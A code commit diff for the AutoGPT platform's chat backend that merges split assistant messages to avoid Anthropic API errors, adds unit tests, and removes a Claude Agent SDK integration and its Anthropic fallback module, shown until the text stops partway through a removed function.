fix(copilot): merge split assistant messages to prevent Anthropic API errors

Long-running tool flows created two consecutive assistant messages (one
with text, one with tool_calls), causing Anthropic's API to reject the
request with "unexpected tool_use_id found in tool_result blocks".

- Add defensive merge of consecutive assistant messages in to_openai_messages()
- Fix _yield_tool_call to add tool_calls to existing assistant instead of creating new one
- Use extend instead of assign for accumulated_tool_calls to prevent overwrites

autogpt_platform/backend/backend/api/features/chat/config.py

@@ -27,11 +27,12 @@ class ChatConfig(BaseSettings):
     session_ttl: int = Field(default=43200, description="Session TTL in seconds")
 
     # Streaming Configuration
-    stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
+    max_context_messages: int = Field(
-    max_retries: int = Field(
+        default=50, ge=1, le=200, description="Maximum context messages"
-        default=3,
-        description="Max retries for fallback path (SDK handles retries internally)",
     )
+
+    stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
+    max_retries: int = Field(default=3, description="Maximum number of retries")
     max_agent_runs: int = Field(default=30, description="Maximum number of agent runs")
     max_agent_schedules: int = Field(
         default=30, description="Maximum number of agent schedules"
@@ -92,12 +93,6 @@ class ChatConfig(BaseSettings):
         description="Name of the prompt in Langfuse to fetch",
     )
 
-    # Claude Agent SDK Configuration
-    use_claude_agent_sdk: bool = Field(
-        default=True,
-        description="Use Claude Agent SDK for chat completions",
-    )
-
     # Extended thinking configuration for Claude models
     thinking_enabled: bool = Field(
         default=True,
@@ -143,17 +138,6 @@ class ChatConfig(BaseSettings):
             v = os.getenv("CHAT_INTERNAL_API_KEY")
         return v
 
-    @field_validator("use_claude_agent_sdk", mode="before")
-    @classmethod
-    def get_use_claude_agent_sdk(cls, v):
-        """Get use_claude_agent_sdk from environment if not provided."""
-        # Check environment variable - default to True if not set
-        env_val = os.getenv("CHAT_USE_CLAUDE_AGENT_SDK", "").lower()
-        if env_val:
-            return env_val in ("true", "1", "yes", "on")
-        # Default to True (SDK enabled by default)
-        return True if v is None else v
-
     # Prompt paths for different contexts
     PROMPT_PATHS: dict[str, str] = {
         "default": "prompts/chat_system.md",

autogpt_platform/backend/backend/api/features/chat/model.py

@@ -2,7 +2,7 @@ import asyncio
 import logging
 import uuid
 from datetime import UTC, datetime
-from typing import Any
+from typing import Any, cast
 from weakref import WeakValueDictionary
 
 from openai.types.chat import (
@@ -104,6 +104,26 @@ class ChatSession(BaseModel):
     successful_agent_runs: dict[str, int] = {}
     successful_agent_schedules: dict[str, int] = {}
 
+    def add_tool_call_to_current_turn(self, tool_call: dict) -> None:
+        """Attach a tool_call to the current turn's assistant message.
+
+        Searches backwards for the most recent assistant message (stopping at
+        any user message boundary). If found, appends the tool_call to it.
+        Otherwise creates a new assistant message with the tool_call.
+        """
+        for msg in reversed(self.messages):
+            if msg.role == "user":
+                break
+            if msg.role == "assistant":
+                if not msg.tool_calls:
+                    msg.tool_calls = []
+                msg.tool_calls.append(tool_call)
+                return
+
+        self.messages.append(
+            ChatMessage(role="assistant", content="", tool_calls=[tool_call])
+        )
+
     @staticmethod
     def new(user_id: str) -> "ChatSession":
         return ChatSession(
@@ -172,6 +192,47 @@ class ChatSession(BaseModel):
             successful_agent_schedules=successful_agent_schedules,
         )
 
+    @staticmethod
+    def _merge_consecutive_assistant_messages(
+        messages: list[ChatCompletionMessageParam],
+    ) -> list[ChatCompletionMessageParam]:
+        """Merge consecutive assistant messages into single messages.
+
+        Long-running tool flows can create split assistant messages: one with
+        text content and another with tool_calls. Anthropic's API requires
+        tool_result blocks to reference a tool_use in the immediately preceding
+        assistant message, so these splits cause 400 errors via OpenRouter.
+        """
+        if len(messages) < 2:
+            return messages
+
+        result: list[ChatCompletionMessageParam] = [messages[0]]
+        for msg in messages[1:]:
+            prev = result[-1]
+            if prev.get("role") != "assistant" or msg.get("role") != "assistant":
+                result.append(msg)
+                continue
+
+            prev = cast(ChatCompletionAssistantMessageParam, prev)
+            curr = cast(ChatCompletionAssistantMessageParam, msg)
+
+            curr_content = curr.get("content") or ""
+            if curr_content:
+                prev_content = prev.get("content") or ""
+                prev["content"] = (
+                    f"{prev_content}\n{curr_content}" if prev_content else curr_content
+                )
+
+            curr_tool_calls = curr.get("tool_calls")
+            if curr_tool_calls:
+                prev_tool_calls = prev.get("tool_calls")
+                prev["tool_calls"] = (
+                    list(prev_tool_calls) + list(curr_tool_calls)
+                    if prev_tool_calls
+                    else list(curr_tool_calls)
+                )
+        return result
+
     def to_openai_messages(self) -> list[ChatCompletionMessageParam]:
         messages = []
         for message in self.messages:
@@ -258,7 +319,7 @@ class ChatSession(BaseModel):
                         name=message.name or "",
                     )
                 )
-        return messages
+        return self._merge_consecutive_assistant_messages(messages)
 
 
 async def _get_session_from_cache(session_id: str) -> ChatSession | None:
@@ -273,8 +334,9 @@ async def _get_session_from_cache(session_id: str) -> ChatSession | None:
     try:
         session = ChatSession.model_validate_json(raw_session)
         logger.info(
-            f"[CACHE] Loaded session {session_id}: {len(session.messages)} messages, "
+            f"Loading session {session_id} from cache: "
-            f"last_roles={[m.role for m in session.messages[-3:]]}"  # Last 3 roles
+            f"message_count={len(session.messages)}, "
+            f"roles={[m.role for m in session.messages]}"
         )
         return session
     except Exception as e:
@@ -316,9 +378,11 @@ async def _get_session_from_db(session_id: str) -> ChatSession | None:
         return None
 
     messages = prisma_session.Messages
-    logger.debug(
+    logger.info(
-        f"[DB] Loaded session {session_id}: {len(messages) if messages else 0} messages, "
+        f"Loading session {session_id} from DB: "
-        f"roles={[m.role for m in messages[-3:]] if messages else []}"  # Last 3 roles
+        f"has_messages={messages is not None}, "
+        f"message_count={len(messages) if messages else 0}, "
+        f"roles={[m.role for m in messages] if messages else []}"
     )
 
     return ChatSession.from_db(prisma_session, messages)
@@ -369,9 +433,10 @@ async def _save_session_to_db(
                     "function_call": msg.function_call,
                 }
             )
-        logger.debug(
+        logger.info(
-            f"[DB] Saving {len(new_messages)} messages to session {session.session_id}, "
+            f"Saving {len(new_messages)} new messages to DB for session {session.session_id}: "
-            f"roles={[m['role'] for m in messages_data]}"
+            f"roles={[m['role'] for m in messages_data]}, "
+            f"start_sequence={existing_message_count}"
         )
         await chat_db.add_chat_messages_batch(
             session_id=session.session_id,
@@ -411,7 +476,7 @@ async def get_chat_session(
         logger.warning(f"Unexpected cache error for session {session_id}: {e}")
 
     # Fall back to database
-    logger.debug(f"Session {session_id} not in cache, checking database")
+    logger.info(f"Session {session_id} not in cache, checking database")
     session = await _get_session_from_db(session_id)
 
     if session is None:
@@ -428,6 +493,7 @@ async def get_chat_session(
     # Cache the session from DB
     try:
         await _cache_session(session)
+        logger.info(f"Cached session {session_id} from database")
     except Exception as e:
         logger.warning(f"Failed to cache session {session_id}: {e}")
 
@@ -598,19 +664,13 @@ async def update_session_title(session_id: str, title: str) -> bool:
             logger.warning(f"Session {session_id} not found for title update")
             return False
 
-        # Update title in cache if it exists (instead of invalidating).
+        # Invalidate cache so next fetch gets updated title
-        # This prevents race conditions where cache invalidation causes
-        # the frontend to see stale DB data while streaming is still in progress.
         try:
-            cached = await _get_session_from_cache(session_id)
+            redis_key = _get_session_cache_key(session_id)
-            if cached:
+            async_redis = await get_redis_async()
-                cached.title = title
+            await async_redis.delete(redis_key)
-                await _cache_session(cached)
         except Exception as e:
-            # Not critical - title will be correct on next full cache refresh
+            logger.warning(f"Failed to invalidate cache for session {session_id}: {e}")
-            logger.warning(
-                f"Failed to update title in cache for session {session_id}: {e}"
-            )
 
         return True
     except Exception as e:

autogpt_platform/backend/backend/api/features/chat/model_test.py

@@ -1,4 +1,16 @@
+from typing import cast
+
 import pytest
+from openai.types.chat import (
+    ChatCompletionAssistantMessageParam,
+    ChatCompletionMessageParam,
+    ChatCompletionToolMessageParam,
+    ChatCompletionUserMessageParam,
+)
+from openai.types.chat.chat_completion_message_tool_call_param import (
+    ChatCompletionMessageToolCallParam,
+    Function,
+)
 
 from .model import (
     ChatMessage,
@@ -117,3 +129,205 @@ async def test_chatsession_db_storage(setup_test_user, test_user_id):
                 loaded.tool_calls is not None
             ), f"Tool calls missing for {orig.role} message"
             assert len(orig.tool_calls) == len(loaded.tool_calls)
+
+
+# --------------------------------------------------------------------------- #
+#  _merge_consecutive_assistant_messages                                       #
+# --------------------------------------------------------------------------- #
+
+_tc = ChatCompletionMessageToolCallParam(
+    id="tc1", type="function", function=Function(name="do_stuff", arguments="{}")
+)
+_tc2 = ChatCompletionMessageToolCallParam(
+    id="tc2", type="function", function=Function(name="other", arguments="{}")
+)
+
+
+def test_merge_noop_when_no_consecutive_assistants():
+    """Messages without consecutive assistants are returned unchanged."""
+    msgs = [
+        ChatCompletionUserMessageParam(role="user", content="hi"),
+        ChatCompletionAssistantMessageParam(role="assistant", content="hello"),
+        ChatCompletionUserMessageParam(role="user", content="bye"),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)
+    assert len(merged) == 3
+    assert [m["role"] for m in merged] == ["user", "assistant", "user"]
+
+
+def test_merge_splits_text_and_tool_calls():
+    """The exact bug scenario: text-only assistant followed by tool_calls-only assistant."""
+    msgs = [
+        ChatCompletionUserMessageParam(role="user", content="build agent"),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="Let me build that"
+        ),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="", tool_calls=[_tc]
+        ),
+        ChatCompletionToolMessageParam(role="tool", content="ok", tool_call_id="tc1"),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)
+
+    assert len(merged) == 3
+    assert merged[0]["role"] == "user"
+    assert merged[2]["role"] == "tool"
+    a = cast(ChatCompletionAssistantMessageParam, merged[1])
+    assert a["role"] == "assistant"
+    assert a.get("content") == "Let me build that"
+    assert a.get("tool_calls") == [_tc]
+
+
+def test_merge_combines_tool_calls_from_both():
+    """Both consecutive assistants have tool_calls — they get merged."""
+    msgs: list[ChatCompletionAssistantMessageParam] = [
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="text", tool_calls=[_tc]
+        ),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="", tool_calls=[_tc2]
+        ),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)  # type: ignore[arg-type]
+
+    assert len(merged) == 1
+    a = cast(ChatCompletionAssistantMessageParam, merged[0])
+    assert a.get("tool_calls") == [_tc, _tc2]
+    assert a.get("content") == "text"
+
+
+def test_merge_three_consecutive_assistants():
+    """Three consecutive assistants collapse into one."""
+    msgs: list[ChatCompletionAssistantMessageParam] = [
+        ChatCompletionAssistantMessageParam(role="assistant", content="a"),
+        ChatCompletionAssistantMessageParam(role="assistant", content="b"),
+        ChatCompletionAssistantMessageParam(
+            role="assistant", content="", tool_calls=[_tc]
+        ),
+    ]
+    merged = ChatSession._merge_consecutive_assistant_messages(msgs)  # type: ignore[arg-type]
+
+    assert len(merged) == 1
+    a = cast(ChatCompletionAssistantMessageParam, merged[0])
+    assert a.get("content") == "a\nb"
+    assert a.get("tool_calls") == [_tc]
+
+
+def test_merge_empty_and_single_message():
+    """Edge cases: empty list and single message."""
+    assert ChatSession._merge_consecutive_assistant_messages([]) == []
+
+    single: list[ChatCompletionMessageParam] = [
+        ChatCompletionUserMessageParam(role="user", content="hi")
+    ]
+    assert ChatSession._merge_consecutive_assistant_messages(single) == single
+
+
+# --------------------------------------------------------------------------- #
+#  add_tool_call_to_current_turn                                               #
+# --------------------------------------------------------------------------- #
+
+_raw_tc = {
+    "id": "tc1",
+    "type": "function",
+    "function": {"name": "f", "arguments": "{}"},
+}
+_raw_tc2 = {
+    "id": "tc2",
+    "type": "function",
+    "function": {"name": "g", "arguments": "{}"},
+}
+
+
+def test_add_tool_call_appends_to_existing_assistant():
+    """When the last assistant is from the current turn, tool_call is added to it."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="hi"),
+        ChatMessage(role="assistant", content="working on it"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+
+    assert len(session.messages) == 2  # no new message created
+    assert session.messages[1].tool_calls == [_raw_tc]
+
+
+def test_add_tool_call_creates_assistant_when_none_exists():
+    """When there's no current-turn assistant, a new one is created."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="hi"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+
+    assert len(session.messages) == 2
+    assert session.messages[1].role == "assistant"
+    assert session.messages[1].tool_calls == [_raw_tc]
+
+
+def test_add_tool_call_does_not_cross_user_boundary():
+    """A user message acts as a boundary — previous assistant is not modified."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="assistant", content="old turn"),
+        ChatMessage(role="user", content="new message"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+
+    assert len(session.messages) == 3  # new assistant was created
+    assert session.messages[0].tool_calls is None  # old assistant untouched
+    assert session.messages[2].role == "assistant"
+    assert session.messages[2].tool_calls == [_raw_tc]
+
+
+def test_add_tool_call_multiple_times():
+    """Multiple long-running tool calls accumulate on the same assistant."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="hi"),
+        ChatMessage(role="assistant", content="doing stuff"),
+    ]
+    session.add_tool_call_to_current_turn(_raw_tc)
+    # Simulate a pending tool result in between (like _yield_tool_call does)
+    session.messages.append(
+        ChatMessage(role="tool", content="pending", tool_call_id="tc1")
+    )
+    session.add_tool_call_to_current_turn(_raw_tc2)
+
+    assert len(session.messages) == 3  # user, assistant, tool — no extra assistant
+    assert session.messages[1].tool_calls == [_raw_tc, _raw_tc2]
+
+
+def test_to_openai_messages_merges_split_assistants():
+    """End-to-end: session with split assistants produces valid OpenAI messages."""
+    session = ChatSession.new(user_id="u")
+    session.messages = [
+        ChatMessage(role="user", content="build agent"),
+        ChatMessage(role="assistant", content="Let me build that"),
+        ChatMessage(
+            role="assistant",
+            content="",
+            tool_calls=[
+                {
+                    "id": "tc1",
+                    "type": "function",
+                    "function": {"name": "create_agent", "arguments": "{}"},
+                }
+            ],
+        ),
+        ChatMessage(role="tool", content="done", tool_call_id="tc1"),
+        ChatMessage(role="assistant", content="Saved!"),
+        ChatMessage(role="user", content="show me an example run"),
+    ]
+    openai_msgs = session.to_openai_messages()
+
+    # The two consecutive assistants at index 1,2 should be merged
+    roles = [m["role"] for m in openai_msgs]
+    assert roles == ["user", "assistant", "tool", "assistant", "user"]
+
+    # The merged assistant should have both content and tool_calls
+    merged = cast(ChatCompletionAssistantMessageParam, openai_msgs[1])
+    assert merged.get("content") == "Let me build that"
+    tc_list = merged.get("tool_calls")
+    assert tc_list is not None and len(list(tc_list)) == 1
+    assert list(tc_list)[0]["id"] == "tc1"

autogpt_platform/backend/backend/api/features/chat/response_model.py

@@ -10,8 +10,6 @@ from typing import Any
 
 from pydantic import BaseModel, Field
 
-from backend.util.json import dumps as json_dumps
-
 
 class ResponseType(str, Enum):
     """Types of streaming responses following AI SDK protocol."""
@@ -195,18 +193,6 @@ class StreamError(StreamBaseResponse):
         default=None, description="Additional error details"
     )
 
-    def to_sse(self) -> str:
-        """Convert to SSE format, only emitting fields required by AI SDK protocol.
-
-        The AI SDK uses z.strictObject({type, errorText}) which rejects
-        any extra fields like `code` or `details`.
-        """
-        data = {
-            "type": self.type.value,
-            "errorText": self.errorText,
-        }
-        return f"data: {json_dumps(data)}\n\n"
-
 
 class StreamHeartbeat(StreamBaseResponse):
     """Heartbeat to keep SSE connection alive during long-running operations.

autogpt_platform/backend/backend/api/features/chat/routes.py

@@ -1,6 +1,5 @@
 """Chat API routes for chat session management and streaming via SSE."""
 
-import asyncio
 import logging
 import uuid as uuid_module
 from collections.abc import AsyncGenerator
@@ -17,16 +16,8 @@ from . import service as chat_service
 from . import stream_registry
 from .completion_handler import process_operation_failure, process_operation_success
 from .config import ChatConfig
-from .model import (
+from .model import ChatSession, create_chat_session, get_chat_session, get_user_sessions
-    ChatMessage,
+from .response_model import StreamFinish, StreamHeartbeat
-    ChatSession,
-    create_chat_session,
-    get_chat_session,
-    get_user_sessions,
-    upsert_chat_session,
-)
-from .response_model import StreamError, StreamFinish, StreamHeartbeat, StreamStart
-from .sdk import service as sdk_service
 from .tools.models import (
     AgentDetailsResponse,
     AgentOutputResponse,
@@ -49,7 +40,6 @@ from .tools.models import (
     SetupRequirementsResponse,
     UnderstandingUpdatedResponse,
 )
-from .tracking import track_user_message
 
 config = ChatConfig()
 
@@ -241,10 +231,6 @@ async def get_session(
     active_task, last_message_id = await stream_registry.get_active_task_for_session(
         session_id, user_id
     )
-    logger.info(
-        f"[GET_SESSION] session={session_id}, active_task={active_task is not None}, "
-        f"msg_count={len(messages)}, last_role={messages[-1].get('role') if messages else 'none'}"
-    )
     if active_task:
         # Filter out the in-progress assistant message from the session response.
         # The client will receive the complete assistant response through the SSE
@@ -314,9 +300,10 @@ async def stream_chat_post(
         f"user={user_id}, message_len={len(request.message)}",
         extra={"json_fields": log_meta},
     )
+
     session = await _validate_and_get_session(session_id, user_id)
     logger.info(
-        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time) * 1000:.1f}ms",
+        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time)*1000:.1f}ms",
         extra={
             "json_fields": {
                 **log_meta,
@@ -325,28 +312,6 @@ async def stream_chat_post(
         },
     )
 
-    # Add user message to session BEFORE creating task to avoid race condition
-    # where GET_SESSION sees the task as "running" but the message isn't saved yet
-    if request.message:
-        session.messages.append(
-            ChatMessage(
-                role="user" if request.is_user_message else "assistant",
-                content=request.message,
-            )
-        )
-        if request.is_user_message:
-            track_user_message(
-                user_id=user_id,
-                session_id=session_id,
-                message_length=len(request.message),
-            )
-        logger.info(
-            f"[STREAM] Saving user message to session {session_id}, "
-            f"msg_count={len(session.messages)}"
-        )
-        session = await upsert_chat_session(session)
-        logger.info(f"[STREAM] User message saved for session {session_id}")
-
     # Create a task in the stream registry for reconnection support
     task_id = str(uuid_module.uuid4())
     operation_id = str(uuid_module.uuid4())
@@ -362,7 +327,7 @@ async def stream_chat_post(
         operation_id=operation_id,
     )
     logger.info(
-        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start) * 1000:.1f}ms",
+        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start)*1000:.1f}ms",
         extra={
             "json_fields": {
                 **log_meta,
@@ -383,43 +348,15 @@ async def stream_chat_post(
         first_chunk_time, ttfc = None, None
         chunk_count = 0
         try:
-            # Emit a start event with task_id for reconnection
+            async for chunk in chat_service.stream_chat_completion(
-            start_chunk = StreamStart(messageId=task_id, taskId=task_id)
-            await stream_registry.publish_chunk(task_id, start_chunk)
-            logger.info(
-                f"[TIMING] StreamStart published at {(time_module.perf_counter() - gen_start_time) * 1000:.1f}ms",
-                extra={
-                    "json_fields": {
-                        **log_meta,
-                        "elapsed_ms": (time_module.perf_counter() - gen_start_time)
-                        * 1000,
-                    }
-                },
-            )
-
-            # Choose service based on configuration
-            use_sdk = config.use_claude_agent_sdk
-            stream_fn = (
-                sdk_service.stream_chat_completion_sdk
-                if use_sdk
-                else chat_service.stream_chat_completion
-            )
-            logger.info(
-                f"[TIMING] Calling {'sdk' if use_sdk else 'standard'} stream_chat_completion",
-                extra={"json_fields": log_meta},
-            )
-            # Pass message=None since we already added it to the session above
-            async for chunk in stream_fn(
                 session_id,
-                None,  # Message already in session
+                request.message,
                 is_user_message=request.is_user_message,
                 user_id=user_id,
-                session=session,  # Pass session with message already added
+                session=session,  # Pass pre-fetched session to avoid double-fetch
                 context=request.context,
+                _task_id=task_id,  # Pass task_id so service emits start with taskId for reconnection
             ):
-                # Skip duplicate StreamStart — we already published one above
-                if isinstance(chunk, StreamStart):
-                    continue
                 chunk_count += 1
                 if first_chunk_time is None:
                     first_chunk_time = time_module.perf_counter()
@@ -440,7 +377,7 @@ async def stream_chat_post(
             gen_end_time = time_module.perf_counter()
             total_time = (gen_end_time - gen_start_time) * 1000
             logger.info(
-                f"[TIMING] run_ai_generation FINISHED in {total_time / 1000:.1f}s; "
+                f"[TIMING] run_ai_generation FINISHED in {total_time/1000:.1f}s; "
                 f"task={task_id}, session={session_id}, "
                 f"ttfc={ttfc or -1:.2f}s, n_chunks={chunk_count}",
                 extra={
@@ -467,17 +404,6 @@ async def stream_chat_post(
                     }
                 },
             )
-            # Publish a StreamError so the frontend can display an error message
-            try:
-                await stream_registry.publish_chunk(
-                    task_id,
-                    StreamError(
-                        errorText="An error occurred. Please try again.",
-                        code="stream_error",
-                    ),
-                )
-            except Exception:
-                pass  # Best-effort; mark_task_completed will publish StreamFinish
             await stream_registry.mark_task_completed(task_id, "failed")
 
     # Start the AI generation in a background task
@@ -580,14 +506,8 @@ async def stream_chat_post(
                     "json_fields": {**log_meta, "elapsed_ms": elapsed, "error": str(e)}
                 },
             )
-            # Surface error to frontend so it doesn't appear stuck
-            yield StreamError(
-                errorText="An error occurred. Please try again.",
-                code="stream_error",
-            ).to_sse()
-            yield StreamFinish().to_sse()
         finally:
-            # Unsubscribe when client disconnects or stream ends
+            # Unsubscribe when client disconnects or stream ends to prevent resource leak
             if subscriber_queue is not None:
                 try:
                     await stream_registry.unsubscribe_from_task(
@@ -831,6 +751,8 @@ async def stream_task(
         )
 
     async def event_generator() -> AsyncGenerator[str, None]:
+        import asyncio
+
         heartbeat_interval = 15.0  # Send heartbeat every 15 seconds
         try:
             while True:

autogpt_platform/backend/backend/api/features/chat/sdk/__init__.py

@@ -1,14 +0,0 @@
-"""Claude Agent SDK integration for CoPilot.
-
-This module provides the integration layer between the Claude Agent SDK
-and the existing CoPilot tool system, enabling drop-in replacement of
-the current LLM orchestration with the battle-tested Claude Agent SDK.
-"""
-
-from .service import stream_chat_completion_sdk
-from .tool_adapter import create_copilot_mcp_server
-
-__all__ = [
-    "stream_chat_completion_sdk",
-    "create_copilot_mcp_server",
-]

autogpt_platform/backend/backend/api/features/chat/sdk/anthropic_fallback.py

@@ -1,354 +0,0 @@
-"""Anthropic SDK fallback implementation.
-
-This module provides the fallback streaming implementation using the Anthropic SDK
-directly when the Claude Agent SDK is not available.
-"""
-
-import json
-import logging
-import os
-import uuid
-from collections.abc import AsyncGenerator
-from typing import Any, cast
-
-from ..config import ChatConfig
-from ..model import ChatMessage, ChatSession
-from ..response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-    StreamUsage,
-)
-from .tool_adapter import get_tool_definitions, get_tool_handlers
-
-logger = logging.getLogger(__name__)
-config = ChatConfig()
-
-# Maximum tool-call iterations before stopping to prevent infinite loops
-_MAX_TOOL_ITERATIONS = 10
-
-
-async def stream_with_anthropic(
-    session: ChatSession,
-    system_prompt: str,
-    text_block_id: str,
-) -> AsyncGenerator[StreamBaseResponse, None]:
-    """Stream using Anthropic SDK directly with tool calling support.
-
-    This function accumulates messages into the session for persistence.
-    The caller should NOT yield an additional StreamFinish - this function handles it.
-    """
-    import anthropic
-
-    # Only use ANTHROPIC_API_KEY - don't fall back to OpenRouter keys
-    api_key = os.getenv("ANTHROPIC_API_KEY")
-    if not api_key:
-        yield StreamError(
-            errorText="ANTHROPIC_API_KEY not configured for fallback",
-            code="config_error",
-        )
-        yield StreamFinish()
-        return
-
-    client = anthropic.AsyncAnthropic(api_key=api_key)
-    tool_definitions = get_tool_definitions()
-    tool_handlers = get_tool_handlers()
-
-    anthropic_tools = [
-        {
-            "name": t["name"],
-            "description": t["description"],
-            "input_schema": t["inputSchema"],
-        }
-        for t in tool_definitions
-    ]
-
-    anthropic_messages = _convert_session_to_anthropic(session)
-
-    if not anthropic_messages or anthropic_messages[-1]["role"] != "user":
-        anthropic_messages.append(
-            {"role": "user", "content": "Continue with the task."}
-        )
-
-    has_started_text = False
-    accumulated_text = ""
-    accumulated_tool_calls: list[dict[str, Any]] = []
-
-    for _ in range(_MAX_TOOL_ITERATIONS):
-        try:
-            async with client.messages.stream(
-                model=(
-                    config.model.split("/")[-1] if "/" in config.model else config.model
-                ),
-                max_tokens=4096,
-                system=system_prompt,
-                messages=cast(Any, anthropic_messages),
-                tools=cast(Any, anthropic_tools) if anthropic_tools else [],
-            ) as stream:
-                async for event in stream:
-                    if event.type == "content_block_start":
-                        block = event.content_block
-                        if hasattr(block, "type"):
-                            if block.type == "text" and not has_started_text:
-                                yield StreamTextStart(id=text_block_id)
-                                has_started_text = True
-                            elif block.type == "tool_use":
-                                yield StreamToolInputStart(
-                                    toolCallId=block.id, toolName=block.name
-                                )
-
-                    elif event.type == "content_block_delta":
-                        delta = event.delta
-                        if hasattr(delta, "type") and delta.type == "text_delta":
-                            accumulated_text += delta.text
-                            yield StreamTextDelta(id=text_block_id, delta=delta.text)
-
-                final_message = await stream.get_final_message()
-
-                if final_message.stop_reason == "tool_use":
-                    if has_started_text:
-                        yield StreamTextEnd(id=text_block_id)
-                        has_started_text = False
-                        text_block_id = str(uuid.uuid4())
-
-                    tool_results = []
-                    assistant_content: list[dict[str, Any]] = []
-
-                    for block in final_message.content:
-                        if block.type == "text":
-                            assistant_content.append(
-                                {"type": "text", "text": block.text}
-                            )
-                        elif block.type == "tool_use":
-                            assistant_content.append(
-                                {
-                                    "type": "tool_use",
-                                    "id": block.id,
-                                    "name": block.name,
-                                    "input": block.input,
-                                }
-                            )
-
-                            # Track tool call for session persistence
-                            accumulated_tool_calls.append(
-                                {
-                                    "id": block.id,
-                                    "type": "function",
-                                    "function": {
-                                        "name": block.name,
-                                        "arguments": json.dumps(
-                                            block.input
-                                            if isinstance(block.input, dict)
-                                            else {}
-                                        ),
-                                    },
-                                }
-                            )
-
-                            yield StreamToolInputAvailable(
-                                toolCallId=block.id,
-                                toolName=block.name,
-                                input=(
-                                    block.input if isinstance(block.input, dict) else {}
-                                ),
-                            )
-
-                            output, is_error = await _execute_tool(
-                                block.name, block.input, tool_handlers
-                            )
-
-                            yield StreamToolOutputAvailable(
-                                toolCallId=block.id,
-                                toolName=block.name,
-                                output=output,
-                                success=not is_error,
-                            )
-
-                            # Save tool result to session
-                            session.messages.append(
-                                ChatMessage(
-                                    role="tool",
-                                    content=output,
-                                    tool_call_id=block.id,
-                                )
-                            )
-
-                            tool_results.append(
-                                {
-                                    "type": "tool_result",
-                                    "tool_use_id": block.id,
-                                    "content": output,
-                                    "is_error": is_error,
-                                }
-                            )
-
-                    # Save assistant message with tool calls to session
-                    session.messages.append(
-                        ChatMessage(
-                            role="assistant",
-                            content=accumulated_text or None,
-                            tool_calls=(
-                                accumulated_tool_calls
-                                if accumulated_tool_calls
-                                else None
-                            ),
-                        )
-                    )
-                    # Reset for next iteration
-                    accumulated_text = ""
-                    accumulated_tool_calls = []
-
-                    anthropic_messages.append(
-                        {"role": "assistant", "content": assistant_content}
-                    )
-                    anthropic_messages.append({"role": "user", "content": tool_results})
-                    continue
-
-                else:
-                    if has_started_text:
-                        yield StreamTextEnd(id=text_block_id)
-
-                    # Save final assistant response to session
-                    if accumulated_text:
-                        session.messages.append(
-                            ChatMessage(role="assistant", content=accumulated_text)
-                        )
-
-                    yield StreamUsage(
-                        promptTokens=final_message.usage.input_tokens,
-                        completionTokens=final_message.usage.output_tokens,
-                        totalTokens=final_message.usage.input_tokens
-                        + final_message.usage.output_tokens,
-                    )
-                    yield StreamFinish()
-                    return
-
-        except Exception as e:
-            logger.error(f"[Anthropic Fallback] Error: {e}", exc_info=True)
-            yield StreamError(
-                errorText="An error occurred. Please try again.",
-                code="anthropic_error",
-            )
-            yield StreamFinish()
-            return
-
-    yield StreamError(errorText="Max tool iterations reached", code="max_iterations")
-    yield StreamFinish()
-
-
-def _convert_session_to_anthropic(session: ChatSession) -> list[dict[str, Any]]:
-    """Convert session messages to Anthropic format.
-
-    Handles merging consecutive same-role messages (Anthropic requires alternating roles).
-    """
-    messages: list[dict[str, Any]] = []
-
-    for msg in session.messages:
-        if msg.role == "user":
-            new_msg = {"role": "user", "content": msg.content or ""}
-        elif msg.role == "assistant":
-            content: list[dict[str, Any]] = []
-            if msg.content:
-                content.append({"type": "text", "text": msg.content})
-            if msg.tool_calls:
-                for tc in msg.tool_calls:
-                    func = tc.get("function", {})
-                    args = func.get("arguments", {})
-                    if isinstance(args, str):
-                        try:
-                            args = json.loads(args)
-                        except json.JSONDecodeError:
-                            args = {}
-                    content.append(
-                        {
-                            "type": "tool_use",
-                            "id": tc.get("id", str(uuid.uuid4())),
-                            "name": func.get("name", ""),
-                            "input": args,
-                        }
-                    )
-            if content:
-                new_msg = {"role": "assistant", "content": content}
-            else:
-                continue  # Skip empty assistant messages
-        elif msg.role == "tool":
-            new_msg = {
-                "role": "user",
-                "content": [
-                    {
-                        "type": "tool_result",
-                        "tool_use_id": msg.tool_call_id or "",
-                        "content": msg.content or "",
-                    }
-                ],
-            }
-        else:
-            continue
-
-        messages.append(new_msg)
-
-    # Merge consecutive same-role messages (Anthropic requires alternating roles)
-    return _merge_consecutive_roles(messages)
-
-
-def _merge_consecutive_roles(messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
-    """Merge consecutive messages with the same role.
-
-    Anthropic API requires alternating user/assistant roles.
-    """
-    if not messages:
-        return []
-
-    merged: list[dict[str, Any]] = []
-    for msg in messages:
-        if merged and merged[-1]["role"] == msg["role"]:
-            # Merge with previous message
-            prev_content = merged[-1]["content"]
-            new_content = msg["content"]
-
-            # Normalize both to list-of-blocks form
-            if isinstance(prev_content, str):
-                prev_content = [{"type": "text", "text": prev_content}]
-            if isinstance(new_content, str):
-                new_content = [{"type": "text", "text": new_content}]
-
-            # Ensure both are lists
-            if not isinstance(prev_content, list):
-                prev_content = [prev_content]
-            if not isinstance(new_content, list):
-                new_content = [new_content]
-
